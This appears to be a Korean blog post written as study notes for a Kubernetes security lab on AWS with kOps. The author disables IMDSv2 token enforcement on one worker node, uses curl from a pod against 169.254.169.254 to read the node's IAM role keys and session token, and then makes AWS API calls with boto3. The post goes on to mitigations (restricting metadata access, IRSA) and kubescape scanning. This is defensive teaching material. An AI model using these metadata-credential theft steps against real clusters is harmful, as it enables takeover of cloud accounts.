10/11
<1> 쿠버네티스 한번에 배포
<2> 파드에서 EC2 메타데이터 사용 가능 확인
<3> 파드(컨테이너) 탈취 후 EC2 메타데이터의 IAM Role 토큰 정보를 활용해 python boto3를 통해 SDK로 AWS 서비스 강제 사용
<4> AWS IRSA : 파드별 IAM Role 부여 - kOps
<5> kubescape로 취약점 점검
<6> 파드/컨테이너 보안 컨텍스트
<7> 정리
1
ec2 , work node는 t3.medium 로 생성 (비용 적게 나오게 하기 위해)
준비 ?
ec2 키페어
access-key
secret key
ClusterBaseName 도메인명 입력 masterseo1.link
S3StateStore = s3 버킷 sec-aws-s3-1
CloudFormation으로 한번에 구축해보자.
콘솔에서 사용
(15분 걸림)
2
모니터링
콘솔에서 EC2 > 인스턴스가 4대 만들어 지는지 확인하자. 명령 ec2 1 , master1,node1,node2
k ns default
3
워커 노드 1대 EC2 메타데이터(IMDSv2)보안 제거
보안에 취약해짐.
// 토큰 있어야 하는것을 지우는 것이다.
#
kops edit ig nodes-ap-northeast-2a
---
# 아래 3줄 제거
spec:
instanceMetadata:
httpPutResponseHopLimit: 1
httpTokens: required
---
(적용 5분 걸림)
# 업데이트 적용 : 노드1대 롤링업데이트
kops update cluster --yes && echo && sleep 3 && kops rolling-update cluster --yes
1
다른 터미널에서
watch -d kubectl get pods
2
# netshoot-pod 생성
cat <<EOF | kubectl create -f -
apiVersion: apps/v1
kind: Deployment
metadata:
name: netshoot-pod
spec:
replicas: 2
selector:
matchLabels:
app: netshoot-pod
template:
metadata:
labels:
app: netshoot-pod
spec:
containers:
- name: netshoot-pod
image: nicolaka/netshoot
command: ["tail"]
args: ["-f", "/dev/null"]
terminationGracePeriodSeconds: 0
EOF
3
# 파드 이름 변수 지정
PODNAME1=$(kubectl get pod -l app=netshoot-pod -o jsonpath={.items[0].metadata.name})
PODNAME2=$(kubectl get pod -l app=netshoot-pod -o jsonpath={.items[1].metadata.name})
4
# EC2 메타데이터 정보 확인
kubectl exec -it $PODNAME1 -- curl 169.254.169.254 ;echo
kubectl exec -it $PODNAME2 -- curl 169.254.169.254 ;echo
1번은 메타 정보가 나옴 - 취약함.
(masterseo1:default) [root@kops-ec2 ~]# kubectl exec -it $PODNAME1 -- curl 169.254.169.254 ;echo
1.0
2007-01-19
2007-03-01
2007-08-29
2007-10-10
2007-12-15
2008-02-01
2008-09-01
2009-04-04
2011-01-01
2011-05-01
2012-01-12
2014-02-25
2014-11-05
2015-10-20
2016-04-19
kubectl exec -it $PODNAME2 -- curl 169.254.169.254 ;echo
안나옴.
5
# 파드1에서 EC2 메타데이터 정보 확인
kubectl exec -it $PODNAME1 -- curl 169.254.169.254/latest ;echo
------------
dynamic
meta-data
user-data
kubectl exec -it $PODNAME1 -- curl 169.254.169.254/latest/meta-data/iam/security-credentials/ ;echo
kubectl exec -it $PODNAME1 -- curl 169.254.169.254/latest/meta-data/iam/security-credentials/nodes.$KOPS_CLUSTER_NAME | jq
(masterseo1:default) [root@kops-ec2 ~]# kubectl exec -it $PODNAME1 -- curl 169.254.169.254/latest/meta-data/iam/security-credentials/nodes.$KOPS_CLUSTER_NAME | jq
{
"Code": "Success",
"LastUpdated": "2023-05-03T09:33:37Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASGPGP6",
"SecretAccessKey": "PQCC8kkG10XxTgHu",
"Token": "IQoJb3JpZ2luXCcGuwYOzGgjzf3g2mtNdMqjk2SCaOech5emM8a+GPnWBgi8up060gdJ2z7+P9gwrcyUq1SAh7toz6AuH7Kxo6gxsEb5U/CAspVndKxw=",
"Expiration": "2023-05-03T16:08:34Z"
// access key, secet key 다 나와 버림. "Expiration": "2023-05-03T16:08:34Z" 시간 까지 사용가능함. - -
6
# 파드2에서 EC2 메타데이터 정보 확인
kubectl exec -it $PODNAME2 -- curl 169.254.169.254/latest ;echo
kubectl exec -it $PODNAME2 -- curl 169.254.169.254/latest/meta-data/iam/security-credentials/ ;echo
kubectl exec -it $PODNAME2 -- curl 169.254.169.254/latest/meta-data/iam/security-credentials/nodes.$KOPS_CLUSTER_NAME | jq
// 안나옴
7
메타 데이터 정보에 Access, secret key가 있다.
워커 노드에 할당된 IAM 권한을 탈취 당한다.
8
k delete deployment.apps/netshoot-pod
https://boto3.amazonaws.com/v1/documentation/api/latest/guide/ec2-example-managing-instances.html
1
# boto3 사용을 위한 파드 생성
cat <<EOF | kubectl create -f -
apiVersion: apps/v1
kind: Deployment
metadata:
name: boto3-pod
spec:
replicas: 2
selector:
matchLabels:
app: boto3
template:
metadata:
labels:
app: boto3
spec:
containers:
- name: boto3
image: jpbarto/boto3
command: ["tail"]
args: ["-f", "/dev/null"]
terminationGracePeriodSeconds: 0
EOF
# 파드 이름 변수 지정
PODNAME1=$(kubectl get pod -l app=boto3 -o jsonpath={.items[0].metadata.name})
PODNAME2=$(kubectl get pod -l app=boto3 -o jsonpath={.items[1].metadata.name})
2
# 파드1에서 boto3 사용
kubectl exec -it $PODNAME1 -- sh
------------
cat <<EOF> ec2.py
import boto3
ec2 = boto3.client('ec2', region_name = 'ap-northeast-2')
response = ec2.describe_instances()
print(response)
EOF
python ec2.py # aws ec2 describe-vpcs
exit
------------
3
# 파드2에서 boto3 사용
kubectl exec -it $PODNAME2 -- sh
------------
cat <<EOF> ec2.py
import boto3
ec2 = boto3.client('ec2', region_name = 'ap-northeast-2')
response = ec2.describe_instances()
print(response)
EOF
python ec2.py
# aws ec2 describe-vpcs
exit
------------
4
# 실습 완료 후 삭제
kubectl delete deploy boto3-pod
대응 방안 : EC2 메타데이터 접속 제한 or AWS IRSA 사용
1
https://tech.devsisters.com/posts/pod-iam-role/
2
3
참고
https://malwareanalysis.tistory.com/578
https://nyoung08.github.io/study/aws/2023/04/06/aws-%EA%B6%8C%ED%95%9C%ED%9B%94%EC%B9%98%EA%B8%B0/
소개 및 사용 : 보안 권고 사항 기반 현재 쿠버네티스 클러스터(YAML, Helm chart)의 취약점을 점검
https://github.com/kubescape/kubescape/blob/master/docs/architecture.md
https://github.com/kubescape/kubescape
2
# 설치
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
# Download all artifacts and save them in the default path (~/.kubescape)
kubescape download artifacts
tree ~/.kubescape/
cat ~/.kubescape/attack-tracks.json | jq
# 제공하는 보안 프레임워크 확인
kubescape list frameworks --format json | jq '.[]'
"AllControls"
"ArmoBest"
"DevOpsBest"
"MITRE"
"NSA"
"cis-eks-t1.2.0"
"cis-v1.23-t1.0.1"
3
# 제공하는 통제 정책 확인
kubescape list controls
4
# 모니터링
watch kubectl get pod -A
5
# 클러스터 스캔
# Deploy Kubescape host-sensor daemonset in the scanned cluster. Deleting it right after we collecting the data.
# Required to collect valuable data from cluster nodes for certain controls.
# Yaml file: https://github.com/kubescape/kubescape/blob/master/core/pkg/hostsensorutils/hostsensor.yaml
kubescape scan --help
kubescape scan --enable-host-scan --verbose
6
Prometheus Exporter 와 연계해 사용가능하다.
https://hub.armosec.io/docs/prometheus-exporter
http://www.yes24.com/product/goods/102847901
EC2 메타 데이터 보안 취약점과 조치법을 알아보았다.
Kubescape로 취약점 점검법을 알아보았다.
파드/컨테이너 보안에 대해 이해하자.
다음은 보안 점검 툴
https://brunch.co.kr/@topasvga/3222
전체 보기
https://brunch.co.kr/@topasvga/3144
감사합니다.